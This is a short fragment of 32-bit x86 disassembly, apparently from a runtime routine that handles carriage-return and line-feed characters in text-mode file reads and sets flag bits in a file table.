jne 0x4175b1
mov word [esi], ax
jmp 0x4175ed
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00417d44
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4175f0
push 0xd
pop eax
jmp 0x4175ac
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x43e968]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4175ea
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4175f0
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret